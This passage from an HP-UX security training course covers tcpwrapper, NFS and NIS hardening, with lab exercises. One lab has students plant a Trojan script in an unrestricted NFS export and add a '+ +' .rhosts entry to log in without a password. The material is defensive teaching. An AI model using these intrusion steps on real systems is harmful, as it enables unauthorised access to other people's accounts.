3. Execute inetd -c to re-read the inetd.conf configuration file.

# inetd -c

4. Use the tcpdchk utility to check your tcpwrapper configuration for errors. In HP-UX,
you will see a warning message noting that REAL_DAEMON_DIR doesn’t exist. This is
expected.

# tcpdchk

5. Configure the /etc/hosts.deny file so tcpwrapper will deny all telnet access:

# vi /etc/hosts.deny
ALL: ALL

6. Configure /etc/hosts.allow to allow telnet access from your neighbor's machine.

# vi /etc/hosts.allow
ALL: neighborhost

H3541S D.02 13-40 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

Part III: Experimenting with tcpwrapper

1. After configuring /etc/hosts.allow, initiate a telnet connection to your localhost.
This should fail. Can you explain why? Check the /var/adm/syslog/syslog.log
file for log messages attributed to the telnetd service.

# telnet localhost
# tail /var/adm/syslog/syslog.log

Answer:

2. Ask your neighbor to attempt to telnet to your host. What happens? What appears in
your log file?

Answer:

3. Can you modify /etc/hosts.allow such that your neighbor's user1 is the only user
that can initiate telnet connections to your host? Make it so!

Answer:

4. Configure a 15-second ident timeout in /etc/tcpd.conf.

# vi /etc/tcpd.conf
rfc931_timeout 15

http://education.hp.com 13-41 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

5. Test your configuration! Ask your neighbor to attempt to telnet to your host, first from
their root account, then from their user1 account. Watch your log file. How are the log
messages this time different from the log messages you saw in questions #1 and #2 above?

Answer:

6. So far, we have only tested the telnet service. As presently configured, will tcpwrapper
authenticate FTP connection requests, too? Try it! Ask your neighbor to ftp to your
host. Watch your log file. Can you explain the results?

Answer:

7. Modify your configuration so your host allows ftp access, as well as telnet access,
from your neighbor's user1 account. Test your configuration. Can root ftp to your host
from your neighbor's machine? Can user1 ftp to your host from your neighbor's
machine?

Answer:

8. Modify your configuration slightly: configure /etc/hosts.allow such

user1@neighborhost is the only user that can telnet to your machine, and
user2@neighborhost is the only user that can ftp to your machine.

Answer:

Part IV: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

H3541S D.02 13-42 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 14  How the Hacker Exploits NFS
Vulnerabilities
Objectives
Upon completion of this module, you will be able to do the following:
• List the main issues related to securing NFS servers.

• Describe the mechanisms available to limit access to files on an NFS server.

• Limit NFS client mount access via export options.

• Limit NFS client root access via export options.

• Limit NFS client mount access via the /etc/netgroup file.

• Describe the dangers posed by NFS spoof attacks.

• Monitor NFS access attempts via NFS logging and the showmount command.

http://education.hp.com 14-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

14–1. SLIDE: Perform Unauthorized Activities: Gain Access to

Other Network Systems

Perform Unauthorized Activities: Gain

Access to Other Network Systems

Step 1 Step 2 Step 3 Step 4

Gather Get to Gain User Perform
information a login access to the unauthorized
about the target prompt system activities
system

UNIX
Login:

Gain access
Perform
Monitor and hide Create to other systems
damaging
system activity backdoors on the network
tasks

Student Notes
The previous chapter focused on inetd service vulnerabilities that hackers often exploit to
gain access to other hosts on a target network. This chapter focuses specifically on
Network File Systems (NFS) vulnerabilities that hackers often exploit.

H3541S D.02 14-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 14
How the Hacker Exploits NFS Vulnerabilities

14–2. SLIDE: NFS Overview

NFS Overview

Clients
# mount Server:/home /home

Server
# exportfs -i /home

NFS makes it possible to ...

• Export file systems from an NFS server
• Easily mount those file systems on one or more NFS clients
• Quickly compromise security if improperly configured!

If you don’t use NFS, disable it.

Student Notes
Many system administrators take advantage of HP's Network File System (NFS) product to
store files and directories on a central server, while simultaneously making those files and
directories available to other hosts on the network.

NFS is based on the following paradigm:

• An NFS server Administrator "exports" portions of the server's file hierarchy that client
hosts need to access across the network. The administrator may export single files or
directories, or entire file systems. Furthermore, the Administrator can (and should!)
specify exactly which clients should have access to each exported file system.

• NFS clients, then, mount file systems from the NFS server on a local mount point
directory. When a user on the client attempts to access a file in an NFS file system, the
client passes the request to the NFS server, and the server passes the requested file's
contents back across the network to the client host.

http://education.hp.com 14-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

The Benefits of NFS

This ability to access files stored across the network is both powerful and convenient.
Administrators oftentimes use NFS to:
• Store users' home directories on a central server. Then, users may log into any
workstation on the network, yet still have access to their personal home directory via
NFS.

• Conserve disk space on client hosts. Mounting a document archive from an NFS server
avoids the need to allocate disk space for the archive on every client.

• Provide a single point of administration for executables. Exporting executables from an

NFS server allows the administrator to perform installs and updates on a single host (the
NFS server) rather than multiple client hosts.

The Dangers of NFS

Unfortunately, NFS can also lead to serious security problems, especially if it is improperly
configured.
• Hackers may mount users' home directories to gain access to confidential files.

• Hackers may mount executable directories to plant time bombs, backdoors, or other
damaging software.

• Hackers may use network sniffers to capture confidential data passed over the network
in clear-text as users access files and directories on the NFS server.
These are just a few of the security risks posed by NFS. If possible, disable NFS. If you must
use NFS, configure and use it with caution!

Disabling NFS
If you don’t use NFS, you should disable it.

# /sbin/init.d/nfs.client stop
# /sbin/init.d/nfs.server stop
# vi /etc/rc.config.d/nfsconf
NFS_SERVER=0
NFS_CLIENT=0
START_MOUNTD=0

H3541S D.02 14-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 14
How the Hacker Exploits NFS Vulnerabilities

14–3. SLIDE: Who Controls Access to NFS Files?

Who Controls Access to NFS Files?

Mount options used on the NFS server

Export options used on the NFS server

Mount options used on the NFS client

Permissions on the file in question

If any one of these steps denies access,

the access request fails!

Student Notes
There are four ways to control access to a file in an NFS environment:
1. Control access to the file system through the local file system mount. If the local file
system is mounted with restricted access, those same restrictions will apply when the file
system is exported and mounted remotely.

2. Control access to the file system through the NFS export options. If the file system is
NFS exported with restricted access, those same restrictions will apply when the file
system is mounted remotely.

3. Control access to the file system through the remote client file system mount. If the
client specifies restrictions when remotely mounting the file system, those restrictions
will be enforced when users attempt to access the NFS file system through the remote
client.

4. Control access to individual files on the file system via standard UNIX file permissions. If
a file’s UNIX permissions restrict read or write access, those restrictions will be enforced
when users attempt to access the file via NFS, too.

http://education.hp.com 14-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

If any of these security mechanisms denies a user access to a file, the user will be unable to
open the file. Since we already discussed UNIX file permissions in an earlier chapter, this
chapter focuses on NFS export options, and file system mount options.

H3541S D.02 14-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 14
How the Hacker Exploits NFS Vulnerabilities

14–4. SLIDE: Controlling NFS Client Access

Controlling NFS Client Access

server# vi /etc/exports
server# exportfs -a
server# exportfs
/home -access=client1:client2
/usr -access=client1:client2,ro

client1# mount server:/home /home # SUCCEEDS!

client2# mount server:/home /home # SUCCEEDS!
hacker# mount server:/home /home # FAILS!

Always use appropriate NFS export options

to limit client access!

Student Notes
The NFS server can be configured so that only certain hosts are allowed to mount file
systems on the server. This is a very important step in maintaining server security: if an
unauthorized host is denied the ability to mount a file system, then the unauthorized users on
that host will not be able to access the server’s files.

The /etc/exports File

The /etc/exports file specifies which clients can mount the server’s file system and what
access those hosts are given.

http://education.hp.com 14-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

The table below lists some common combinations of export options.

export options used: hosta hostb others

/home -access=hosta rw -- --
/home -access=hosta:hostb rw rw --
/home rw rw rw
/home -rw=hosta:hostb rw rw ro
/home -rw=hosta rw ro ro
/home -ro ro ro ro
/home -access=hosta:hostb,ro ro ro --
/home -access=hosta,ro ro -- --

In the example on the slide, client1 and client2 have read-only access to /usr and an
implied read-write access to /home.

Anytime you modify /etc/exports, be sure to type exportfs –a.

H3541S D.02 14-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 14
How the Hacker Exploits NFS Vulnerabilities

14–5. SLIDE: Controlling Root NFS Client Access

Controlling Root NFS Client Access

My clients can mount

/home, but I’ll treat their
system administrator as
user “nobody”

/home -access=client1
My clients can mount
/home, and I’ll even
grant their administrator
root privileges!
Be very cautious with
the -root export
option! /home -root=client1

Student Notes
By default, NFS servers never provide root privileges to client system administrators. When
an NFS server receives a file access request from a client’s UID 0 user, NFS treats the request
as if it came from UID -2 (user nobody).

You can, however, grant root privileges to specific client administrators by including the –
root export option in /etc/exports. Use this export option with caution! It is very easy
for hackers to send NFS “spoof” packets to an NFS server that claim to come from root on an
authorized client, in order to remove or modify a file on the server.

http://education.hp.com 14-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

The chart below shows some common combinations of export options that provide root
privileges to one or more clients.

export options used: hosta hostb others

/home –root=hosta,access=hosta root+rw — —
/home –root=hosta,access=hosta:hostb root+rw rw —
/home –root=hosta root+rw rw rw
/home –root=hosta,rw=hosta:hostb root+rw rw ro
/home –root=hosta,rw=hosta root+rw ro ro
/home -root=hosta,rw=hosta,access=hosta:hostb root+rw ro —

Note that the –root export option provides special protection for the root account, but
unfortunately does not protect bin, sys, or other system accounts that own key files and
executables on the system.

H3541S D.02 14-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 14
How the Hacker Exploits NFS Vulnerabilities

14–6. SLIDE: Controlling Access with Netgroups

Controlling Access with Netgroups

server:/etc/netgroup
accounts (client1,,) (client2,,)
finance (client3,,) (client4,,)

server:/etc/exports
/opt/accounts -access=accounts
/opt/finance -access=finance
/home -access=accounts:finance

Use netgroups to manage -access lists

in large NFS environments!

Student Notes
To ease the management of large NFS environments, the /etc/netgroup file can be used
to represent many client machines with a single netgroup name.

The example on the slide shows two netgroups: one called “accounts” and a second called
“finance”. When creating access lists in /etc/exports, you can specify valid netgroups,
rather than long lists of individual hostnames.

The example on the slide only includes two hosts in each group, but there could be hundreds
of hosts specified if the environment contained many hosts.

http://education.hp.com 14-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

14–7. SLIDE: Using NFS Client Side Mount Options

Using NFS Client Side Mount Options

If I can successfully hack into the NFS server, I’ll create an

SUID shell in one of the exported file systems. Then I’ll
have root access on all the clients, too!

$ mount server:/home /home

$ /home/user1/hackshell
Mount NFS file
systems SUID succeeds!
nosuid, ro
whenever
$ mount -o nosuid server:/home /home
possible.
$ /home/user1/hackshell
SUID fails!

Student Notes
The example on the slide assumes the /home file system on the NFS server contains an
SUID-to-root program called /home/user1/hackshell. By planting this SUID shell on the
NFS server, the hacker can gain root access not only on the NFS server, but on all the NFS
clients that mount that home directory!

If the client administrator mounts the /home file system with the nosuid mount option, the
hacker will be able to run the program, but the program won’t execute with root privileges.
Unless a file system contains legitimate SUID executables, NFS file systems should always be
mounted nosuid.

# mount –o nosuid server:/home /home

Include the option in the /etc/fstab file, too.

# vi /etc/fstab
server:/home /home nfs nosuid 0 0

H3541S D.02 14-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 14
How the Hacker Exploits NFS Vulnerabilities

14–8. SLIDE: Preventing NFS Spoofing with Firewalls

Preventing NFS Spoofing with Firewalls

spoofed NFS request

from: bob@192.1.1.1 Firewall

denies external
RPCs!
hacker@128.1.1.1
server
Even though the NFS server
won’t authorize access with my
real UID and IP, I can use To avoid IP/UID spoofs from
nfs_shell to “spoof” a valid IP outside hosts, deny RPC
and UID! requests across your firewall!

Student Notes
NFS servers use simple source-IP authentication to determine where access requests
originate. It is fairly easy for hackers to create “spoof” packets that claim to come from
legitimate clients. There is even a hacker tool called nfs_shell that automates this
process!

You can’t do much to prevent NFS spoof attacks from hosts on your internal network.
However, you can at least minimize the danger posed by spoof attacks from the public
Internet by blocking incoming RPC requests at your firewall.

http://education.hp.com 14-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

14–9. SLIDE: Monitoring NFS Access

Monitoring NFS Access

Who currently has my file systems mounted?

# showmount –a server
client1:/home
hacker:/usr

Who is allowed to mount my file systems?

# showmount –e server
/home client1:client2
/usr (everyone)

How can I log all NFS mount attempts?

# vi /etc/rc.config.d/nfsconf
MOUNTD_OPTIONS=“-l /var/adm/nfs.log -t2”
# /sbin/init.d/nfs.server stop
# /sbin/init.d/nfs.server start
# tail -f /var/adm/nfs.log

Student Notes
NFS includes several logging and monitoring tools.

On the NFS server, use the showmount –a server command to determine which clients
have mounted your exported file systems. The output from this command can’t always be
trusted, since clients occasionally crash without notifying the server that they are no longer
using a file system that they previously NFS mounted.

Anytime you modify /etc/exports, be sure to run showmount –e server to determine

which clients can mount your file systems. Try running this command remotely from one or
two clients, and try a few test mounts, too, to ensure that your server behaves as expected.

The rpc.mountd daemon should be configured to log all NFS errors and mount attempt.
This can be done through the /etc/rc.config.d/nfsconf file as shown of the slide. The
–l option specifies a log file name, and the –t option specifies a trace level. Trace level 1
logs error messages. Trace level 2 provides more verbose logging.

H3541S D.02 14-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 14
How the Hacker Exploits NFS Vulnerabilities

14–10. SLIDE: Improving NFS Security: Best Practices

Improving NFS Security: Best Practices

NFS export as few file systems as possible.

Always limit client access with export options.
Export read-only.
Verify every exportfs with showmount -e.
Enable NFS logging.
Don’t export server executables.
Don’t export home directories.
Don’t allow user logins on the NFS server.
Don’t allow RPC requests across your firewall.
For real security, don’t use NFS!

Student Notes

http://education.hp.com 14-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

14–11. LAB: Improving NFS Security

Directions
In the exercises that follow you will work with two classmates to explore a number of NFS
security features and vulnerabilities. The exercise requires one NFS server, one NFS client,
and one hacker host. With your partners, decide which role each host will play:

NFS server: ______________________

NFS client: ______________________
hacker host: ______________________

Verify that your hosts have already been configured with basic NFS functionality. Both
server and client functionality should be configured by default in HP-UX. Make sure both
NFS_SERVER and NFS_CLIENT are set to "1" in all three hosts' nfsconf files:

grep ^NFS /etc/rc.config.d/nfsconf

Part I: Preliminary
1. Before going any further, run the spoc script as follows on the client and server:

server# /labs/scripts/spoc -v PATH netrc

client# /labs/scripts/spoc -v PATH netrc

2. On all three systems, temporarily change the permissions on /usr/local/bin back to

777, and remove the /usr/local/bin/mroe program that you created earlier in the
course.

# chmod 777 /usr/local/bin

# rm /usr/local/bin/mroe

H3541S D.02 14-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 14
How the Hacker Exploits NFS Vulnerabilities

Part II: How Hackers Exploit NFS File Systems

In this exercise, you will see how hackers can exploit an improperly configured NFS
environment. Later parts of the lab exercise will show you how to plug the security holes
explored here.
1. From the NFS server, export the /usr and /home file systems without any restrictions:

server# vi /etc/exports
/usr
/home

server# exportfs -a

2. Mount the NFS server's /home/user1 and /usr/local/bin directories on both the
hacker host and the legitimate NFS client:

client# mount nfsserver:/usr/local/bin /usr/local/bin

client# mount nfsserver:/home/user1 /home/user1

hacker# mount nfsserver:/usr/local/bin /usr/local/bin

hacker# mount nfsserver:/home/user1 /home/user1

3. If a hacker can mount a writable NFS file system that contains executables, he or she may
replace a legitimate executable with a Trojan horse, or install unauthorized, harmful
software in that NFS file system. From the hacker host, create the following program in
the NFS file system:

hacker# vi /usr/local/bin/mroe
#!/usr/bin/sh
banner gotcha!
hacker# chmod +x /usr/local/bin/mroe

Now login as user1 on the client and mistype more /etc/passwd:

client# su - user1
client$ mroe /etc/passwd
client$ exit

What happens? The NFS server administrator and the user share the blame for this
security hole. What should the server administrator have done differently? What should
the user have done differently?

Answer:

http://education.hp.com 14-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

4. Exporting the /home file system world-writable can be just as dangerous. Do the
following from the hacker host:

hacker# su - user1
hacker$ vi /home/user1/.rhosts
+ +
hacker$ rlogin client

Note that the hacker may now rlogin to any host that has NFS-mounted /home from the
NFS server! Did the hacker have to know user1's password to gain access to the user's
account on the NFS client? What should the system administrator do to prevent this
dangerous situation? Before continuing on, exit out of the rlogin and su sessions.

Answer:

5. Before moving on, unmount all the NFS file systems on the client and hacker hosts:

client# umount -aF nfs

hacker# umount -aF nfs

Part III: Managing NFS Access with -access and -ro

In the previous part of the lab exercise, you learned first-hand how dangerous an improperly
configured NFS environment can be. In this section, you will learn how to limit access to
your NFS file systems to prevent unauthorized access to your files and directories.
1. Modify the /etc/exports file on the NFS server to ensure that the legitimate NFS client
is the only host that can NFS mount the /home file system. Don't forget to do an
exportfs -a after making your changes!

Answer:

2. Attempt to re-mount /home/user1 on the client and hacker hosts. Was your
configuration successful? su to user1 on the client and attempt to touch a file in user1's
home directory.

Answer:

H3541S D.02 14-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 14
How the Hacker Exploits NFS Vulnerabilities

3. Modify the /etc/exports file on the NFS server to ensure that the legitimate NFS client
is the only client that can mount the /usr file system. Also prevent the client from
making changes in /usr. Don't forget to do an exportfs -a after making your
changes!

Answer:

4. Attempt to re-mount /usr/local/bin on the client and hacker hosts. Was your
configuration successful? Try touching a file in /usr/local/bin to see if you
succeeded in denying write permission to the NFS clients.

Answer:

5. Whenever you change your exports file, it is a good idea to verify your configuration
with the showmount -e command. Do a showmount -e on the NFS server and note
the output.

server# showmount -e

Can you tell which hosts have access to which file systems?

Does showmount indicate which hosts have read permission, and which hosts have write
permission?

Answer:

showmount indicates which hosts can mount the file system, but it does not indicate
which hosts have read/write permission.

6. Try executing showmount from the hacker host, too.

hacker# showmount -e server

Does this succeed? How might a hacker find this useful?

Answer:

http://education.hp.com 14-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

7. Before moving on, unmount all the NFS file systems on the hacker and client, unexport
the file systems from the server, and clobber /etc/exports:

client# umount -aF nfs

hacker# umount -aF nfs
server# exportfs -ua
server# >/etc/exports

Part IV: Managing NFS Access with -root

The previous part of the lab gave you an opportunity to experiment with the basic -ro and
-access NFS export options. This portion of the lab will add -root to your repertoire of
export options.
1. First, see what happens when a file system is exported without root access. Add /var to
the server's /etc/exports file.

server# vi /etc/exports
/var

server# exportfs -a

2. Mount /var/tmp on the client:

client# mount server:/var/tmp /var/tmp

3. Try creating a file in the NFS file system first from the server, and then from the client.

server# touch /var/tmp/roota.server

client# touch /var/tmp/roota.client

4. Do a long listing of /var/tmp.

server# ll /var/tmp
client# ll /var/tmp

Who is the owner of the roota.server file?

Who is the owner of the roota.client file?

Answer:

H3541S D.02 14-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 14
How the Hacker Exploits NFS Vulnerabilities

5. Both /var/tmp/roota.server and /var/tmp/roota.client were created by root.

Why aren't both files owned by root? Would you consider this to be a "feature" or a "bug"?
Why?

Answer:

6. Consider the implications of what you just discovered. If a hacker successfully logs into
an NFS client, would he or she be able view/modify/remove any of the log files or
executables owned by root on the NFS server? Explain! (Assume that the file system
was exported without any export options)

Answer:

7. If an administrator is responsible for both the NFS server and one or more NFS clients, he
or she may want to allow root access to the NFS files from both machines. Re-export
/var as follows:

server# vi /etc/exports
/var -root=client

server# exportfs -a

8. Remount the /var/tmp file system on the client:

client# umount /var/tmp

client# mount server:/var/tmp /var/tmp

9. Try creating a new file from both the server and the client:

server# touch /var/tmp/rootb.server

client# touch /var/tmp/rootb.client

10. Do a long listing of the two new files. Who owns the new files this time?

Answer:

http://education.hp.com 14-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

11. What might be the danger of the -root export option?

Answer:

12. Before moving on, unmount all the NFS file systems on the client, unexport the file
systems from the server, and clobber /etc/exports:

client# umount -aF nfs

server# exportfs -ua
server# >/etc/exports

Part V: Managing NFS Access with Net Groups

In the previous two parts of the exercise, you limited access to the NFS server by explicitly
listing a series of host names after the -access export option. However, creating export
lists in this manner in large NFS environments can be very tedious. You may be able to save
some keystrokes by creating one or more NFS net groups.
1. Create an /etc/netgroup file on the NFS server. The netgroup file should include
two net groups: "sales" and "accounts". Put the NFS client and any two other hosts in the
"sales" net group. For the sake of variety, put the hacker host and any two other hosts in
the "accounts" net group:

server# vi /etc/netgroup
sales (client,,) (hosta,,) (hostb,,)
accounts (hacker,,) (hostc,,) (hostd,,)

2. On the NFS server, create an /etc/exports file that grants /home read-write mount
access to sales, and /usr read-only mount access to both net groups:

server# vi /etc/exports
/home -access=sales
/var -access=sales:accounts,ro

server# exportfs -a

3. Verify your configuration with showmount -e. What does showmount report?

server# showmount -e

Answer:

H3541S D.02 14-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 14
How the Hacker Exploits NFS Vulnerabilities

4. Try mounting /home/user1 and /var/tmp on the client and hacker hosts. Did the net
groups appear to work as advertised?

Answer:

5. Before moving on, unmount all the NFS file systems on the hacker and client, unexport
the file systems from the server, and clobber /etc/exports:

client# umount -aF nfs

hacker# umount -aF nfs
server# exportfs -ua
server# >/etc/exports

Part VI: Monitoring NFS Activity

If you suspect that a hacker may be attempting to illicitly access your NFS server, you may
wish to enable NFS logging. But how? This exercise gives you an opportunity to configure
and test the NFS tracing and logging functionality.
1. On the NFS server, export /home to the NFS client. Deny access to all other hosts.

server# vi /etc/exports
/home -access=client

2. Enable NFS logging with trace level "1" on the NFS server. Use /var/adm/nfs.log as
the log file name:

server# vi /etc/rc.config.d/nfsconf
MOUNTD_OPTIONS="-l /var/adm/nfs.log -t1"

3. Restart NFS server functionality to make the change take effect:

server# /sbin/init.d/nfs.server stop

server# /sbin/init.d/nfs.server start

4. Start monitoring the new log file:

server# tail -f /var/adm/nfs.log

5. Try mounting the server's /home/user1 directory on the hacker host, and then on the
legitimate NFS client.

hacker# mount server:/home/user1 /home/user1

client# mount server:/home/user1 /home/user1

http://education.hp.com 14-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 14
How the Hacker Exploits NFS Vulnerabilities

6. At trace level 1, does the server administrator have any record of successful mount
requests? What about failed mount requests?

Answer:

7. On the client, unmount the NFS file system. Does the log file appear to record umount
requests?

Answer:

8. Repeat questions #2-6 again, but this time use trace level 2. What appears to be the
difference between log level 2 and log level 1?

Answer:

9. If you suspect hacker activity, what should you look for in the NFS log file?

Answer:

Part VII: Cleanup

Restore all three systems to their original states:

/labs/scripts/netfiles -r INITIAL

H3541S D.02 14-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 15  How the Hacker Exploits NIS
Vulnerabilities
Objectives
Upon completion of this module, you will be able to do the following:
• List the main security issues related to Network Information Services (NIS).

• Limit login access on NIS clients and slaves.

• Limit login access on NIS master servers.

• Limit login access on NIS servers and clients via /etc/netgroup.

• Improve NIS security via /var/yp/secureservers.

• Improve NIS security via /var/yp/secureservers.

http://education.hp.com 15-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

15–1. SLIDE: Perform Unauthorized Activities: Gain Access to

Other Network Systems

Perform Unauthorized Activities: Gain

Access to Other Network Systems

Step 1 Step 2 Step 3 Step 4

Gather Get to Gain user Perform
information a login access to the unauthorized
about the target prompt system activities
system

UNIX
Login:

Gain access
Perform
Monitor and hide Create to other systems
damaging
system activity backdoors on the network
tasks

Student Notes
The previous chapter focused on NFS vulnerabilities that hackers exploit to gain access to
other hosts on target networks. This chapter focuses specifically on Network Information
Service (NIS) vulnerabilities that hackers often exploit.

H3541S D.02 15-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

15–2. SLIDE: NIS Overview

NIS Overview

Q: Is user1 a valid user?

A: Yes!

NIS client
NIS server

NIS servers provide a central point of administration for:

• Clients’ username lookups
• Clients’ password verification
• Clients’ hostname lookups

If you don’t use NIS, disable it!

Student Notes
The Network Information Service (NIS) is a distributed database system that lets many
computers share password files, group files, host tables, and other files over the network.
Although the files appear to be available on every computer, they are actually stored on a
single computer, called the NIS master server. The other computers on the network, NIS
clients, can use the database files (called NIS maps) as if they were stored locally.

Some of the configuration files on the client are replaced by an NIS map, other client
configuration files are simply supplemented by the NIS maps.

NIS has numerous vulnerabilities, which will be cataloged on the following pages. If you
don’t use NIS, make sure it is disabled.

# /sbin/init.d/nis.client stop
# /sbin/init.d/nis.server stop
# vi /etc/rc.config.d/namesvrs
NIS_MASTER=0
NIS_SLAVE=0
NIS_CLIENT=0
NISDOMAIN=

http://education.hp.com 15-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

15–3. SLIDE: Limiting Access to NIS Clients

Limiting Access to NIS Clients

/etc/nsswitch.conf /etc/passwd
passwd: files nis root:...
group: files nis user1:... all NIS users may log in

/etc/nsswitch.conf /etc/passwd
passwd: compat root:...
group: compat user1:... selected NIS users
may log in
+nisuser1

If possible, restrict access to the NIS client!

Student Notes
By default, when a user lookup is required, the system initially searches for the username in
the local /etc/passwd file. If the username isn't found in /etc/passwd and NIS is
configured, the system then consults the NIS passwd map. Using this approach, all the users
both in the local password file and in the NIS map have access to all nodes in the NIS
domain.

Many shops prefer to limit access to a given node to a more limited list of users. The
/etc/nsswitch.conf file makes it possible to more narrowly define the concept of if, and
how, a client uses the NIS maps. Each line in /etc/nsswitch.conf contains a type of
lookup often performed by the system (for instance: passwd, group, hosts, and so forth),
followed by a list of sources the system should consult when performing those lookups.

If a host should only use the local password and group files, and ignore the NIS passwd and
group map, you should include the following lines in /etc/nsswitch.conf:

passwd: files
group: files

H3541S D.02 15-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

If, however, the host should allow all users defined either locally or in the NIS map to login,
include the following two lines in /etc/nsswitch.conf. (Or, simply leave the
nsswitch.conf file empty, as this is the default behavior anyway!)

passwd: files nis

group: files nis

If you want to allow all locally defined users, but only selected users from the NIS map to
access a host, add the following two lines to /etc/nsswitch.conf:

passwd: compat
group: compat

After adding the compat entries, you will need to add escape entries to your /etc/passwd
and /etc/group files to identify which NIS users should have access to the system.

The example below allows all locally defined users to access the system, as well as users
hubert and cleo as defined in the NIS map. Other users defined in the NIS map will not
have access to this system. Note the escape entries identified by the + signs. Allowing
additional NIS users to access the system would simply require the addition of more escape
entries.

root:ms0RtUNJemVSI:0:3::/:/sbin/sh
daemon:*:1:5::/:/sbin/sh
bin:*:2:2::/usr/bin:/sbin/sh
sys:*:3:3::/:
adm:*:4:4::/var/adm:/sbin/sh
uucp:*:5:3::/var/spool/uucppublic:/usr/lbin/uucp/uucico
lp:*:9:7::/var/spool/lp:/sbin/sh
nuucp:*:11:11::/var/spool/uucppublic:/usr/lbin/uucp/uucico
hpdb:*:27:1:ALLBASE:/:/sbin/sh
nobody:*:-2:60001::/:
+hubert
+cleo

Using escape entries in this manner allows the administrator to carefully control which users
are allowed to login to each host in an NIS domain. Your database servers' /etc/passwd
files, for instance, may only contain escape entries for the database administrators. Your
accounting department workstations' /etc/passwd files may only contain escape entries
for the users in the accounting department. Each administrator should carefully consider
which users in the NIS map need access to each machine.

NOTE: The compat entry is mutually exclusive of any other value in the
passwd field of the /etc/nsswitch.conf file.

We've only discussed the most common nsswitch.conf file possibilities here. The
nsswitch.conf man page discusses the file format in detail. Several sample nsswitch
files may be found in the /etc directory. Type ls /etc/nsswitch.* and copy the
version of the file that best meets your needs to /etc/nsswitch.conf.

http://education.hp.com 15-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

15–4. SLIDE: Limiting Access to the NIS Master Server

Limiting Access to the NIS Master Server

Q: Is “hacker” a valid user?

A: Yes!

NIS client
NIS server

If I can successfully
hack into the NIS Always limit login
server, I’ll add an entry access on the NIS
to the passwd map so I server!
can log into all of the
NIS clients, too!

Student Notes
Most NIS servers are also configured as NIS clients. Recall from the previous slide that NIS
clients, by default, allow all users in both the NIS map and the local /etc/passwd file to
login. This is not the recommended configuration! Earlier in the course we saw how easy it
is for hackers to break into user accounts using Crack and other similar tools. The more user
accounts you have on a system, the more likely it is that at least one user on the system will
choose a poor password. If a hacker were able to gain login access on the master server, he
may be able to modify the passwd map and gain login access on every host in the domain!
Thus, it is critical that we secure the master server.

Ideally, you should disable all unnecessary services on the NIS server. An important second
step is to disable all but the most critical user logins on the master server. Unfortunately, one
can't simply delete all the user entries from the master's /etc/passwd file; that would
prevent the users from logging in on the clients as well!

Instead, the following procedure creates a second password file, /etc/passwd.nis.

/etc/passwd.nis includes all users in the domain, and will be used to build the NIS
passwd map. /etc/passwd will determine which users may login directly on the master
server; all but the most critical users with UID<100 should be removed from this copy of the

H3541S D.02 15-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

/etc/passwd file. Any additional users that need access to the master server may be
granted access via "+" escape entries in /etc/passwd.

The detailed procedure is described below:

1. Create an alternate password file as a source for the maps.

# cp /etc/passwd /etc/passwd.nis

2. Edit the /etc/passwd file and remove all user accounts with UID>99.

# vipw

3. Edit the /etc/passwd.nis file and remove all user accounts with UID<100.

# vi /etc/passwd.nis

4. Edit /etc/rc.config.d/namesvrs and modify YPPASSWDD_OPTIONS.

Change: YPPASSWDD_OPTIONS="/etc/passwd -m passwd \

PWFILE=/etc/passwd"
